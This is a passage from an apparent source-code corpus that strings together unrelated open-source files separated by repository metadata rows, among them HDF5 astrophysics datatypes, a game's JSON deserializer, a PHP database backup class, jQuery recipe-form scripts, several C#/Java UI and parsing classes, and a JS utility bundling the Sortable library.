mem_type.insert( h5::datatype::native_int, "first friend-of-friend", HOFFSET( halo, first_fof ) );
mem_type.insert( h5::datatype::native_int, "next friend-of-friend", HOFFSET( halo, next_fof ) );
mem_type.insert( h5::datatype::native_int, "number of particles", HOFFSET( halo, num_particles ) );
mem_type.insert( h5::datatype::native_float, "mass, mean 200", HOFFSET( halo, m_mean200 ) );
mem_type.insert( h5::datatype::native_float, "virial mass", HOFFSET( halo, mvir ) );
mem_type.insert( h5::datatype::native_float, "mass, top hat", HOFFSET( halo, m_top_hat ) );
mem_type.insert( h5::datatype::native_float, "x position", HOFFSET( halo, x ) );
mem_type.insert( h5::datatype::native_float, "y position", HOFFSET( halo, y ) );
mem_type.insert( h5::datatype::native_float, "z position", HOFFSET( halo, z ) );
mem_type.insert( h5::datatype::native_float, "x velocity", HOFFSET( halo, vx ) );
mem_type.insert( h5::datatype::native_float, "y velocity", HOFFSET( halo, vy ) );
mem_type.insert( h5::datatype::native_float, "z velocity", HOFFSET( halo, vz ) );
mem_type.insert( h5::datatype::native_float, "velocity dispersion (?)", HOFFSET( halo, vel_disp ) );
mem_type.insert( h5::datatype::native_float, "maximum velocity", HOFFSET( halo, vmax ) );
mem_type.insert( h5::datatype::native_float, "x spin", HOFFSET( halo, sx ) );
mem_type.insert( h5::datatype::native_float, "y spin", HOFFSET( halo, sy ) );
mem_type.insert( h5::datatype::native_float, "z spin", HOFFSET( halo, sz ) );
mem_type.insert( h5::datatype::native_llong, "most bound ID", HOFFSET( halo, most_bound_id ) );
mem_type.insert( h5::datatype::native_int, "snapshot", HOFFSET( halo, snap_num ) );
mem_type.insert( h5::datatype::native_int, "file number", HOFFSET( halo, file_nr ) );
mem_type.insert( h5::datatype::native_int, "subhalo index", HOFFSET( halo, subhalo_index ) );
mem_type.insert( h5::datatype::native_int, "subhalo half-mass", HOFFSET( halo, sub_half_mass ) );
// Create file type.
file_type.compound( 104 );
file_type.insert( h5::datatype::std_i32be, "descendant", 0 );
file_type.insert( h5::datatype::std_i32be, "first progenitor", 4 );
file_type.insert( h5::datatype::std_i32be, "next progenitor", 8 );
file_type.insert( h5::datatype::std_i32be, "first friend-of-friend", 12 );
file_type.insert( h5::datatype::std_i32be, "next friend-of-friend", 16 );
file_type.insert( h5::datatype::std_i32be, "number of particles", 20 );
file_type.insert( h5::datatype::ieee_f32be, "mass, mean 200", 24 );
file_type.insert( h5::datatype::ieee_f32be, "virial mass", 28 );
file_type.insert( h5::datatype::ieee_f32be, "mass, top hat", 32 );
file_type.insert( h5::datatype::ieee_f32be, "x position", 36 );
file_type.insert( h5::datatype::ieee_f32be, "y position", 40 );
file_type.insert( h5::datatype::ieee_f32be, "z position", 44 );
file_type.insert( h5::datatype::ieee_f32be, "x velocity", 48 );
file_type.insert( h5::datatype::ieee_f32be, "y velocity", 52 );
file_type.insert( h5::datatype::ieee_f32be, "z velocity", 56 );
file_type.insert( h5::datatype::ieee_f32be, "velocity dispersion (?)", 60 );
file_type.insert( h5::datatype::ieee_f32be, "maximum velocity", 64 );
file_type.insert( h5::datatype::ieee_f32be, "x spin", 68 );
file_type.insert( h5::datatype::ieee_f32be, "y spin", 72 );
file_type.insert( h5::datatype::ieee_f32be, "z spin", 76 );
file_type.insert( h5::datatype::std_i64be, "most bound ID", 80 );
file_type.insert( h5::datatype::std_i32be, "snapshot", 88 );
file_type.insert( h5::datatype::std_i32be, "file number", 92 );
file_type.insert( h5::datatype::std_i32be, "subhalo index", 96 );
file_type.insert( h5::datatype::std_i32be, "subhalo half-mass", 100 );
}
}
}
| IntersectAustralia/asvo-tao | science_modules/base/src/subfind.cc | C++ | gpl-3.0 | 4,276 |
/*
(c) winniehell (2012)
This file is part of the game Battle Beavers.
Battle Beavers is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Battle Beavers is distributed in the hope that it will be fun,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Battle Beavers. If not, see <http://www.gnu.org/licenses/>.
*/
package de.winniehell.battlebeavers.storage;
import java.lang.reflect.Type;
import org.anddev.andengine.util.path.WeightedPath;
import de.winniehell.battlebeavers.ingame.Tile;
import de.winniehell.battlebeavers.ingame.WayPoint;
import com.google.gson.JsonDeserializationContext;
import com.google.gson.JsonDeserializer;
import com.google.gson.JsonElement;
import com.google.gson.JsonObject;
import com.google.gson.JsonParseException;
/**
* deserializer class for {@link WayPoint}
* @author <a href="https://github.com/winniehell/">winniehell</a>
*/
class WayPointDeserializer implements JsonDeserializer<WayPoint> {
@Override
public WayPoint deserialize(final JsonElement pJson, final Type pType,
final JsonDeserializationContext pContext)
throws JsonParseException {
if(!pJson.isJsonObject())
{
return null;
}
final JsonObject object = pJson.getAsJsonObject();
if(!object.has("tile") || (SoldierDeserializer.currentSoldier == null))
{
return null;
}
WeightedPath path = null;
if(object.has("path")) {
path = (WeightedPath) pContext.deserialize(
object.get("path"), WeightedPath.class
);
}
final WayPoint waypoint = new WayPoint(
SoldierDeserializer.currentSoldier,
path,
(Tile) pContext.deserialize(object.get("tile"), Tile.class)
);
if(object.has("aim") && !object.get("aim").isJsonNull())
{
waypoint.setAim(
(Tile) pContext.deserialize(object.get("aim"), Tile.class));
}
if(object.has("wait") && !object.get("wait").isJsonNull())
{
waypoint.setWait(object.get("wait").getAsInt());
}
return waypoint;
}
}
| winniehell-wasteland/beavers | app/src/de/winniehell/battlebeavers/storage/WayPointDeserializer.java | Java | gpl-3.0 | 2,546 |
<?php
namespace si_classes;
class BackupDb {
private $output;
private $pdoDb;
public function __construct() {
$this->output = "";
global $environment;
$this->pdoDb = new PdoDb(new DbInfo(CONFIG_FILE_PATH, $environment, "database"));
}
public function start_backup($filename) {
$fh = fopen($filename, "w");
$rows = $this->pdoDb->query("SHOW TABLES");
foreach ($rows as $row) {
$this->show_create($row[0], $fh);
}
fclose($fh);
}
private function show_create($tablename, $fh) {
$query = "SHOW CREATE TABLE `$tablename`";
$row = $this->pdoDb->query($query);
fwrite($fh, $row[0][1] . ";\n");
$insert = $this->retrieve_data($tablename);
fwrite($fh, $insert);
$this->output .= "<tr><td>Table: $tablename backed up successfully</td></tr>";
}
private function retrieve_data($tablename) {
$query = "SHOW COLUMNS FROM `" . $tablename . "`";
$rows = $this->pdoDb->query($query);
$i = 0;
$columns = array();
foreach($rows as $row) {
$columns[$i++][0] = $row[0];
}
$colcnt = count($columns);
$query = "";
$rows = $this->pdoDb->request("SELECT", $tablename);
foreach($rows as $row) {
$query .= "INSERT INTO `" . $tablename . "` VALUES(";
for ($i = 0; $i < $colcnt; $i++) {
$query .= "'" . addslashes($row[$columns[$i][0]]) . "'" .
($i + 1 == $colcnt ? ");\n" : ",");
}
}
$query .= "\n";
return $query;
}
public function getOutput() {
return $this->output;
}
}
| fearless359/simpleinvoices_zend2 | si_classes/BackupDb.php | PHP | gpl-3.0 | 1,725 |
/*
* Add a new ingredient form to the bottom of the formset
*/
function add_ingredient() {
// Find the empty form
var empty_form = $("#uses-formset .ingredient.empty-form");
// Clone it and remove the unneeded classes to get a new form
var new_form = empty_form.clone();
new_form.removeClass('empty-form');
new_form.removeClass('sorting-disabled');
// Update the new forms number
var total_forms = $("#id_ingredients-ingredients-TOTAL_FORMS");
var new_form_number = parseInt(total_forms.val());
updateFormNumber(new_form, new_form_number);
// Update total forms counter
total_forms.val(new_form_number + 1);
// Insert after the last ingredient form
var last_not_empty_form = $('#uses-formset li.ingredient:not(".empty-form"), #uses-formset li.group:not(".empty-form")').last();
new_form.insertAfter(last_not_empty_form);
// Fix the ingredient list
fix_ingredient_list();
return false;
}
/*
* Add a new ingredient group to the bottom of the formset
*/
function add_group() {
// Find the empty group
var empty_group = $("#uses-formset .group.empty-form");
// Clone it and remove the unneeded classes to get a new group
var new_group = empty_group.clone();
new_group.removeClass("empty-form");
new_group.removeClass("sorting-disabled");
// Insert after the last ingredient form
var last_not_empty_form = $('#uses-formset li.ingredient:not(".empty-form"), #uses-formset li.group:not(".empty-form")').last();
new_group.insertAfter(last_not_empty_form);
// Fix the ingredient list
fix_ingredient_list();
return false;
}
/**
* This function fixes the ingredient list. It handles the following cases:
* - Hides or show the first label, depending on wether there is a group that already provides labels at the top
* - Assigns the correct group to every ingredient form and indent them if needed
* - Make sure this function is called again when a group has changed
* - Add delete functionality to the delete buttons
* - Add autocomplete functionality to ingredient forms
*/
function fix_ingredient_list() {
// Get all ingredient forms and groups (except the empty ones)
var lis = $("#uses-formset #sortable-ingredients li:not('.column-labels, .empty-form')");
// Hide the labels at the start if they are redundant because of group labels
if (lis.first().hasClass("group")) {
$("#uses-formset #sortable-ingredients .column-labels").hide();
} else {
$("#uses-formset #sortable-ingredients .column-labels").show();
}
// Assign a group to every ingredient form
var group_name = "";
var found_group = false;
lis.each(function() {
if ($(this).hasClass("group")) {
// This is a group li, all ingredients between this li and the next group li should belong to this group
group_name = $(this).find(".group-name").val();
found_group = true;
} else if ($(this).hasClass("ingredient")) {
// Assign the current group to this ingredient
$(this).find("input.group").val(group_name);
// If this ingredient is in a group, indent the form
if (found_group) {
$(this).css('padding-left', '50px');
} else {
$(this).css('padding-left', '30px');
}
}
});
// Change a group name when the user presses enter while editing it
$("#sortable-ingredients .group input").pressEnter(function() {
$(this).blur();
});
// When a group name has changed, fix the ingredient list
$("#sortable-ingredients .group input").blur(function() {
fix_ingredient_list();
});
// Add delete functionality to ingredient forms
$("#sortable-ingredients .ingredient .delete-button").click(function() {
var delete_checkbox = $(this).children("input");
if (delete_checkbox.length) {
$(this).parents("li").hide()
} else {
$(this).parents("li").remove();
}
delete_checkbox.val("True");
return false;
});
// Add delete functionality to group forms
$("#sortable-ingredients .group .delete-button").click(function() {
$(this).parents("li").remove();
fix_ingredient_list();
return false;
});
// Add autocomplete functionality to ingredient forms
$("input.keywords-searchbar").each(function() {
$(this).autocomplete({
source: "/ingredients/ing_list/",
minLength: 2
});
$(this).blur(function() {
$.ajax({
url: '/recipes/ingunits/',
type: "POST",
data: {ingredient_name: $(this).val()},
context: this,
success: function(data) {
var $options = $(this).closest('li').find('select');
var selected_id = $options.find('option:selected').val();
$options.empty();
$("<option value=\"\">---------</option>").appendTo($options);
$.each($.parseJSON(data), function(id, val) {
var option_string = "<option value=\"" + id.toString() + "\"";
if (selected_id == id) {
option_string = option_string + " selected=\"selected\"";
}
option_string = option_string + ">" + val + "</option>";
$(option_string).appendTo($options);
});
}
});
})
});
}
$(document).ready(function() {
// Make the ingredients and groups sortable
$( "#sortable-ingredients" ).sortable({
stop: fix_ingredient_list,
items: "li:not(.sorting-disabled)",
handle: ".move-handle"
});
$( "#sortable" ).disableSelection();
// Fix the list
fix_ingredient_list();
// Add functionality to the add buttons
$(".add-ingredient-button").click(add_ingredient);
$(".add-ingredientgroup-button").click(add_group);
}); | Gargamel1989/Seasoning-old | Seasoning/recipes/static/js/edit_recipe_ingredients.js | JavaScript | gpl-3.0 | 5,602 |
using Chronos.Client.Win.Java.BasicProfiler.Properties;
using Chronos.Client.Win.Menu.Specialized;
using Chronos.Client.Win.Models;
using Chronos.Client.Win.Models.Java.BasicProfiler;
using Chronos.Client.Win.ViewModels.Profiling;
using Chronos.Java.BasicProfiler;
namespace Chronos.Client.Win.Menu.Java.BasicProfiler
{
internal sealed class AssembliesMenuItem : UnitsMenuItemBase
{
public AssembliesMenuItem(ProfilingViewModel profilingViewModel)
: base(profilingViewModel)
{
}
public override string Text
{
get { return Resources.AssembliesMenuItem_Text; }
protected set { }
}
protected override IUnitsModel GetModel()
{
//IAssemblyCollection collection = ProfilingViewModel.Application.ServiceContainer.Resolve<IAssemblyCollection>();
//AssembliesModel model = new AssembliesModel(collection);
//return model;
return null;
}
}
}
| AndreiFedarets/chronosprofiler | source/Chronos.Client.Win.Java.BasicProfiler/Chronos.Client.Win.Java.BasicProfiler/Menu/AssembliesMenuItem.cs | C# | gpl-3.0 | 1,014 |
/*
* Copyright appNativa Inc. All Rights Reserved.
*
* This file is part of the Real-time Application Rendering Engine (RARE).
*
* RARE is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
package com.appnativa.rare.converters;
import java.text.NumberFormat;
/**
*
* @author Don DeCoteau
*/
public class NumberContext extends ConverterContext {
public static final NumberContext RANGE_CONTEXT = new NumberContext() {
@Override
public boolean isRange() {
return true;
}
@Override
public NumberFormat getDisplayFormat() {
return null;
}
@Override
public NumberFormat getItemFormat() {
return null;
}
};
/** */
protected NumberFormat displayFormat;
/** */
protected NumberFormat[] itemFormats;
private boolean range;
/** Creates a new instance of DateContext */
public NumberContext() {
super("NumberContext");
}
public NumberContext(NumberFormat iformat, NumberFormat dformat) {
super("NumberContext");
itemFormats = new NumberFormat[] { iformat };
displayFormat = dformat;
}
public NumberContext(NumberFormat[] iformats, NumberFormat dformat) {
super("NumberContext");
itemFormats = iformats;
displayFormat = dformat;
}
public void setRange(boolean range) {
this.range = range;
}
public NumberFormat getDisplayFormat() {
return displayFormat;
}
public NumberFormat getItemFormat() {
NumberFormat a[] = getItemFormats();
return (a == null)
? null
: a[0];
}
public NumberFormat[] getItemFormats() {
return itemFormats;
}
public boolean hasMultiplePattens() {
return (itemFormats == null)
? false
: itemFormats.length > 1;
}
public boolean isRange() {
return range;
}
}
| appnativa/rare | source/rare/core/com/appnativa/rare/converters/NumberContext.java | Java | gpl-3.0 | 2,395 |
#region Copyright Notice
/*
* gitter - VCS repository management tool
* Copyright (C) 2013 Popovskiy Maxim Vladimirovitch <amgine.gitter@gmail.com>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#endregion
namespace gitter
{
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using gitter.Framework;
using gitter.Framework.Controls;
using Resources = gitter.Properties.Resources;
[System.ComponentModel.DesignerCategory("")]
internal sealed class LocalRepositoriesListBox : CustomListBox
{
private readonly DragHelper _dragHelper;
public LocalRepositoriesListBox()
{
Columns.Add(new CustomListBoxColumn(1, Resources.StrName, true)
{
SizeMode = ColumnSizeMode.Fill
});
HeaderStyle = HeaderStyle.Hidden;
ItemHeight = SystemInformation.IconSize.Height + 4;
AllowDrop = true;
_dragHelper = new DragHelper();
}
public List<RepositoryListItem> FullList { get; set; }
protected override void OnMouseDown(MouseEventArgs e)
{
base.OnMouseDown(e);
if(e.Button == MouseButtons.Left && SelectedItems.Count != 0)
{
_dragHelper.Start(e.X, e.Y);
}
}
protected override void OnMouseUp(MouseEventArgs e)
{
base.OnMouseUp(e);
if(_dragHelper.IsTracking)
{
_dragHelper.Stop();
}
}
protected override void OnMouseMove(MouseEventArgs e)
{
base.OnMouseMove(e);
if(_dragHelper.IsTracking && _dragHelper.Update(e.X, e.Y))
{
if(SelectedItems.Count != 1) return;
var item = SelectedItems[0];
using(var dragImage = RepositoryDragImage.Create(
((RepositoryListItem)item).DataContext.Path, new Dpi(DeviceDpi)))
{
dragImage.ShowDragVisual(this);
DoDragDrop(item, DragDropEffects.Move);
}
_dragHelper.Stop();
}
}
}
}
| amgine/gitter | gitter.ui.prj/Controls/ListBoxes/LocalRepositoriesListBox.cs | C# | gpl-3.0 | 2,468 |
package the.bytecode.club.bytecodeviewer.util;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
import java.util.regex.Pattern;
/***************************************************************************
* Bytecode Viewer (BCV) - Java & Android Reverse Engineering Suite *
* Copyright (C) 2014 Kalen 'Konloch' Kinloch - http://bytecodeviewer.com *
* *
* This program is free software: you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation, either version 3 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program. If not, see <http://www.gnu.org/licenses/>. *
***************************************************************************/
/**
* Methods parser.
*
* @author DreamSworK
*/
public class MethodParser {
public static class Method {
public String name;
public List<String> params;
public Method(String name, List<String> params) {
this.name = name;
this.params = params;
}
@Override
public String toString() {
String params = this.params.toString();
return this.name + "(" + params.substring(1, params.length() - 1) + ")";
}
}
public static final Pattern regex = Pattern.compile("\\s*(?:static|public|private|protected|final|abstract)"
+ "[\\w\\s.<>\\[\\]]*\\s+(?<name>[\\w.]+)\\s*\\((?<params>[\\w\\s,.<>\\[\\]$?]*)\\)");
private final TreeMap<Integer, Method> methods = new TreeMap<>();
private static String removeBrackets(String string) {
if (string.indexOf('<') != -1 && string.indexOf('>') != -1) {
return removeBrackets(string.replaceAll("<[^<>]*>", ""));
}
return string;
}
private static String getLastPart(String string, int character) {
int ch = string.lastIndexOf(character);
if (ch != -1) {
string = string.substring(ch + 1);
}
return string;
}
public void addMethod(int line, String name, String params) {
if (!name.isEmpty()) {
name = getLastPart(name, '.');
String[] args = {};
if (!params.isEmpty()) {
params = removeBrackets(params);
args = params.split(",");
for (int i = 0; i < args.length; i++) {
args[i] = args[i].trim();
if (args[i].indexOf(' ') != -1) {
String[] strings = args[i].split(" ");
args[i] = strings[strings.length - 2];
}
args[i] = getLastPart(args[i], '.');
args[i] = getLastPart(args[i], '$');
}
}
Method method = new Method(name, Arrays.asList(args));
methods.put(line, method);
}
}
public boolean isEmpty() {
return methods.isEmpty();
}
public Method getMethod(int line) {
return methods.get(line);
}
public Integer[] getMethodsLines() {
Integer[] lines = new Integer[methods.size()];
return methods.keySet().toArray(lines);
}
public String getMethodName(int line) {
Method method = methods.get(line);
if (method != null) {
if (!method.name.isEmpty())
return method.name;
}
return "";
}
public List<String> getMethodParams(int line) {
Method method = methods.get(line);
if (method != null) {
if (!method.params.isEmpty())
return method.params;
}
return null;
}
public int findMethod(Method method) {
return findMethod(method.name, method.params);
}
public int findMethod(String name, List<String> params) {
for (Map.Entry<Integer, Method> entry : methods.entrySet()) {
if (name.equals(entry.getValue().name) && params.size() == entry.getValue().params.size()) {
if (params.equals(entry.getValue().params)) {
return entry.getKey();
}
}
}
return -1;
}
public int findActiveMethod(int line)
{
if (!methods.isEmpty())
{
Map.Entry<Integer, Method> low = methods.floorEntry(line);
if (low != null) {
return low.getKey();
}
}
return -1;
}
public int findNearestMethod(int line) {
if (!methods.isEmpty()) {
if (methods.size() == 1) {
return methods.firstKey();
} else {
Map.Entry<Integer, Method> low = methods.floorEntry(line);
Map.Entry<Integer, Method> high = methods.ceilingEntry(line);
if (low != null && high != null) {
return Math.abs(line - low.getKey()) < Math.abs(line - high.getKey()) ? low.getKey() :
high.getKey();
} else if (low != null || high != null) {
return low != null ? low.getKey() : high.getKey();
}
}
}
return -1;
}
}
| Konloch/bytecode-viewer | src/main/java/the/bytecode/club/bytecodeviewer/util/MethodParser.java | Java | gpl-3.0 | 5,935 |
#ifndef UIVISIBILITYBASE_HPP
#define UIVISIBILITYBASE_HPP
/*
This file is part of AlgAudio.
AlgAudio, Copyright (C) 2015 CeTA - Audiovisual Technology Center
AlgAudio is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
AlgAudio is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with AlgAudio. If not, see <http://www.gnu.org/licenses/>.
*/
namespace AlgAudio{
class UIVisibilityBase{
public:
enum class DisplayMode{
Visible, /**< A Visible widget is drawn just normally. */
EmptySpace, /**< An EmptySpace widget is not drawn, but it takes as much space as it would normally take. */
Invisible, /**< An Invisible widget is not drawn, and it takes zero area. */
};
/** Sets widget display mode. \see DisplayModes */
void SetDisplayMode(DisplayMode m){
if(m == display_mode) return;
display_mode = m;
on_display_mode_changed.Happen();
}
/** Returns true if the contents of the widget are supposed to be drawn, i.e.
* whether display mode is 'visible'. When implementing a custom widget,
* do do not need to test for being drawn in CustomDraw, if a widget is not
* supposed to be drawn, CustomDraw will never be called. */
inline bool IsDrawn() const {return display_mode == DisplayMode::Visible;}
/** Returns true if this widget is marked as invisible. */
inline bool IsInvisible() const {return display_mode == DisplayMode::Invisible; }
/** Triggered when visibility changes. */
Signal<> on_display_mode_changed;
protected:
UIVisibilityBase() {} // Only construcible when inherited
DisplayMode display_mode = DisplayMode::Visible;
};
} // namespace AlgAudio
#endif // UIVISIBILITYBASE_HPP
| rafalcieslak/algAudio | libalgaudio/include/UI/UIVisibilityBase.hpp | C++ | gpl-3.0 | 2,105 |
using ExpressBase.Objects.ServiceStack_Artifacts;
using Microsoft.AspNetCore.Mvc;
using ServiceStack;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace ExpressBase.Web.Components
{
public class SearchUserViewComponent : ViewComponent
{
public async Task<IViewComponentResult> InvokeAsync(string targetDivId)
{
ViewBag.targetdiv = targetDivId;
return View();
}
}
}
| ExpressBaseSystems/ExpressBase.Web | Components/SearchUserViewComponent.cs | C# | gpl-3.0 | 534 |
intelli = {
/**
* Name of the current page
*/
pageName: '',
securityTokenKey: '__st',
lang: {},
/**
* Check if value exists in array
*
* @param {Array} val value to be checked
* @param {String} arr array
*
* @return {Boolean}
*/
inArray: function (val, arr) {
if (typeof arr === 'object' && arr) {
for (var i = 0; i < arr.length; i++) {
if (arr[i] == val) {
return true;
}
}
}
return false;
},
cookie: {
/**
* Returns the value of cookie
*
* @param {String} name cookie name
*
* @return {String}
*/
read: function (name) {
var nameEQ = name + '=';
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
}
return null;
},
/**
* Creates new cookie
*
* @param {String} name cookie name
* @param {String} value cookie value
* @param {Integer} days number of days to keep cookie value for
* @param {String} value path value
*/
write: function (name, value, days, path) {
var expires = '';
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
expires = '; expires=' + date.toGMTString();
}
path = path || '/';
document.cookie = name + '=' + value + expires + '; path=' + path;
},
/**
* Clear cookie value
*
* @param {String} name cookie name
*/
clear: function (name) {
intelli.cookie.write(name, '', -1);
}
},
urlVal: function (name) {
name = name.replace(/[\[]/, "\\\[").replace(/[\]]/, "\\\]");
var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
var results = regex.exec(window.location.href);
return (null === results)
? null
: decodeURIComponent(results[1]);
},
notifBox: function (opt) {
var msg = opt.msg;
var type = opt.type || 'info';
var autohide = opt.autohide || (type == 'notification' || type == 'success' || type == 'error' ? true : false);
var pause = opt.pause || 10;
var html = '';
if ('notif' == type || type == 'notification') {
type = 'success';
}
var boxid = 'notification';
if (opt.boxid) {
boxid = opt.boxid;
}
var obj = $('#' + boxid);
if ($.isArray(msg)) {
html += '<ul class="unstyled">';
for (var i = 0; i < msg.length; i++) {
if ('' != msg[i]) {
html += '<li>' + msg[i] + '</li>';
}
}
html += '</ul>';
}
else {
html += ['<div>', msg, '</div>'].join('');
}
obj.attr('class', 'alert alert-' + type).html(html).show();
if (autohide) {
obj.delay(pause * 1000).fadeOut('slow');
}
$('html, body').animate({scrollTop: obj.offset().top}, 'slow');
return obj;
},
notifFloatBox: function (options) {
var msg = options.msg,
type = options.type || 'info',
pause = options.pause || 3000,
autohide = options.autohide,
html = '';
// building message box
html += '<div id="notifFloatBox" class="notifFloatBox notifFloatBox--' + type + '"><a href="#" class="close">×</a>';
if ($.isArray(msg)) {
html += '<ul>';
for (var i = 0; i < msg.length; i++) {
if ('' != msg[i]) {
html += '<li>' + msg[i] + '</li>';
}
}
html += '</ul>';
}
else {
html += '<ul><li>' + msg + '</li></ul>';
}
html += '</div>';
// placing message box
if (!$('#notifFloatBox').length > 0) {
$(html).appendTo('body').css('display', 'block').addClass('animated bounceInDown');
if (autohide) {
setTimeout(function () {
$('#notifFloatBox').fadeOut(function () {
$(this).remove();
});
}, pause);
}
$('.close', '#notifFloatBox').on('click', function (e) {
e.preventDefault();
$('#notifFloatBox').fadeOut(function () {
$(this).remove();
});
});
}
},
is_email: function (email) {
return (email.search(/^([a-zA-Z0-9_\.\-\+])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z]{2,3})+$/) > -1);
},
ckeditor: function (name, params) {
if (CKEDITOR.instances[name]) {
return false;
}
params = params || {};
params.baseHref = intelli.config.clear_url;
CKEDITOR.replace(name, params);
},
add_tab: function (name, text) {
var $tab = $('<li>').append($('<a>').attr({'data-toggle': 'tab', href: '#' + name}).text(text));
var $content = $('<div>').attr('id', name).addClass('tab-pane');
if ($('.nav-tabs', '.tabbable').children().length == 0) {
$tab.addClass('active');
$content.addClass('active');
}
$('.nav-tabs', '.tabbable').append($tab);
$('.tab-content', '.tabbable').append($content);
},
sortable: function (elem, params) {
/*! Sortable 1.0.1 - MIT | git://github.com/rubaxa/Sortable.git */
!function (a) {
"use strict";
"function" == typeof define && define.amd ? define(a) : "undefined" != typeof module && "undefined" != typeof module.exports ? module.exports = a() : "undefined" != typeof Package ? Sortable = a() : window.Sortable = a()
}(function () {
"use strict";
function a(a, b) {
this.el = a, this.options = b = b || {};
var d = {
group: Math.random(),
sort: !0,
disabled: !1,
store: null,
handle: null,
scroll: !0,
scrollSensitivity: 30,
scrollSpeed: 10,
draggable: /[uo]l/i.test(a.nodeName) ? "li" : ">*",
ghostClass: "sortable-ghost",
ignore: "a, img",
filter: null,
animation: 0,
setData: function (a, b) {
a.setData("Text", b.textContent)
},
dropBubble: !1,
dragoverBubble: !1
};
for (var e in d)!(e in b) && (b[e] = d[e]);
var g = b.group;
g && "object" == typeof g || (g = b.group = {name: g}), ["pull", "put"].forEach(function (a) {
a in g || (g[a] = !0)
}), L.forEach(function (d) {
b[d] = c(this, b[d] || M), f(a, d.substr(2).toLowerCase(), b[d])
}, this), a[E] = g.name + " " + (g.put.join ? g.put.join(" ") : "");
for (var h in this)"_" === h.charAt(0) && (this[h] = c(this, this[h]));
f(a, "mousedown", this._onTapStart), f(a, "touchstart", this._onTapStart), I && f(a, "selectstart", this._onTapStart), f(a, "dragover", this._onDragOver), f(a, "dragenter", this._onDragOver), P.push(this._onDragOver), b.store && this.sort(b.store.get(this))
}
function b(a) {
s && s.state !== a && (i(s, "display", a ? "none" : ""), !a && s.state && t.insertBefore(s, q), s.state = a)
}
function c(a, b) {
var c = O.call(arguments, 2);
return b.bind ? b.bind.apply(b, [a].concat(c)) : function () {
return b.apply(a, c.concat(O.call(arguments)))
}
}
function d(a, b, c) {
if (a) {
c = c || G, b = b.split(".");
var d = b.shift().toUpperCase(), e = new RegExp("\\s(" + b.join("|") + ")\\s", "g");
do if (">*" === d && a.parentNode === c || ("" === d || a.nodeName.toUpperCase() == d) && (!b.length || ((" " + a.className + " ").match(e) || []).length == b.length))return a; while (a !== c && (a = a.parentNode))
}
return null
}
function e(a) {
a.dataTransfer.dropEffect = "move", a.preventDefault()
}
function f(a, b, c) {
a.addEventListener(b, c, !1)
}
function g(a, b, c) {
a.removeEventListener(b, c, !1)
}
function h(a, b, c) {
if (a)if (a.classList) a.classList[c ? "add" : "remove"](b); else {
var d = (" " + a.className + " ").replace(/\s+/g, " ").replace(" " + b + " ", "");
a.className = d + (c ? " " + b : "")
}
}
function i(a, b, c) {
var d = a && a.style;
if (d) {
if (void 0 === c)return G.defaultView && G.defaultView.getComputedStyle ? c = G.defaultView.getComputedStyle(a, "") : a.currentStyle && (c = a.currentStyle), void 0 === b ? c : c[b];
b in d || (b = "-webkit-" + b), d[b] = c + ("string" == typeof c ? "" : "px")
}
}
function j(a, b, c) {
if (a) {
var d = a.getElementsByTagName(b), e = 0, f = d.length;
if (c)for (; f > e; e++)c(d[e], e);
return d
}
return []
}
function k(a) {
a.draggable = !1
}
function l() {
J = !1
}
function m(a, b) {
var c = a.lastElementChild, d = c.getBoundingClientRect();
return b.clientY - (d.top + d.height) > 5 && c
}
function n(a) {
for (var b = a.tagName + a.className + a.src + a.href + a.textContent, c = b.length, d = 0; c--;)d += b.charCodeAt(c);
return d.toString(36)
}
function o(a) {
for (var b = 0; a && (a = a.previousElementSibling) && "TEMPLATE" !== a.nodeName.toUpperCase();)b++;
return b
}
function p(a, b) {
var c, d;
return function () {
void 0 === c && (c = arguments, d = this, setTimeout(function () {
1 === c.length ? a.call(d, c[0]) : a.apply(d, c), c = void 0
}, b))
}
}
var q, r, s, t, u, v, w, x, y, z, A, B, C, D = {}, E = "Sortable" + (new Date).getTime(), F = window, G = F.document, H = F.parseInt, I = !!G.createElement("div").dragDrop, J = !1, K = function (a, b, c, d, e, f) {
var g = G.createEvent("Event");
